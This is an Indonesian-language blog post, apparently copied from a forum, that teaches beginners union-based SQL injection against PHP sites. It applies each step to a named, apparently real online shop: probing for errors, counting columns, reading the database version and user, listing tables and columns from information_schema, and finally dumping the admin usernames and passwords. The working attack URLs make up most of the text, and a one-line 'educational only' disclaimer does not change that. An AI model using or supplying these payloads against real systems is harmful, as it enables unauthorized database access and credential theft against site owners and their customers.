SQL Injection(PHP)

Ini gw ambil dari forum, dari teman gw bernama aimar..cocok banget buat pemula, yang masi samar2 apa itu sql injection...enjoy it..


siapkan secangkir kopi dan sebungkus roko...klo bisa sebelah cewe...biar semangat!!

yuks mulai aja

ptama2 cari site yg mau di inject.
contoh:
http://www.zaishu.com.au/shop.php?id=41

skarang tambahkan tanda - di blakang angka 41
http://www.zaishu.com.au/shop.php?id=41

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY iorder ASC' at line 1
keluar tulisan itu..
kemungkinan bisa di inject nih..

yuk mulai aja...

query pertama kita gunakan UNION SELECT

http://www.zaishu.com.au/shop.php?id=-41+union+select+1/**

nah disini kita mencari angka ajaib..kalo blom kluar terusin nomor setelah select

http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2/**

terusin sampe kluar angka ajaibna
ternyata sampe di angka 14

http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/**

nah angka ajaib yg kluar 4,5 dan 11
angka2 inilah yg nanti digunakan.

nah setelah dapet kita cari version,user,database dengan memasukkan query ke angka ajaib tersebut
* version() : current mysql version
* database() : current database where user is connected
* user() : connected to the database
* system_user() : obvious
* session_user()
* current_user()
* last_insert_id()
* connection_id()

kali ini saya akan menggunakan angka 11

http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,version(),12,13,14/**

nah ternyata version 5
sip deh..lanjut lagi...

cek database dan nama usernya

http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,database(),user(),6,7,8,9,10,version(),12,13,14/**

karna angka ajaib ada 3,kita gunakan aja semua...
hasilnya

zaishu_zaishu zaishu_user@localhost

5.0.45-community

skarang kita ngeluarin tablenya
yang kita cari adalah table admin..ok?
query yg kita gunakan adalah

table_name from information_schema.tables where table_schema=database() limit 0,1/*

ok langsung masukin aja..

http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,table_name,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1/**

nah ternyata keluar table address_book

ok lanjut lagi...

untuk ngeluarin table berikutnya tinggal di tambahin limitnya menjadi
1,1 2,1 dan seterusnya.
kali ini kita akan mencari table admin..
ternyata sampai 2,1 kluar table admin dengan nama adminrights

sekarang kita cari columnnya.
query yg kita gunakan adalah

column_name from information_schema.columns where table_name=’table_name’ limit 0,1/*

nah table name yg kita cari tadi adalah adminrights
kita rubah dlu menjadi bilangan hexa
menjadi
0x61646d696e726967687473

jadi skarang tinggal kita masukkan.

http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14+from+information_schema.columns+where+table_name=0x61646d696e726967687473+limit+0,1/*

nah ternyata kluar column id

selanjutnya kita tinggal tambahkan limitnya
menjadi 1,1 2,1 dst
akan kluar column username,password

langkah selanjutnya tinggal kita kluarin datanya.
kita akan menggunakan query concat()

akan menjadi seperti ini

http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,concat(username,0x2D2D,password),12,13,14+from+adminrights/**

Ups,..ternyata kluar login dan password admin

PS:
tanda + hanya sebagai pemisah bisa di ganti dengan spasi
dan tanda 0x2D2D juga sebagai pemisah pada query concat.

note:for educational only..gue ga tanggung jawab ama yg lu lakuin pada ya...
thanks to nakkuta and h4ntu

0 komentar: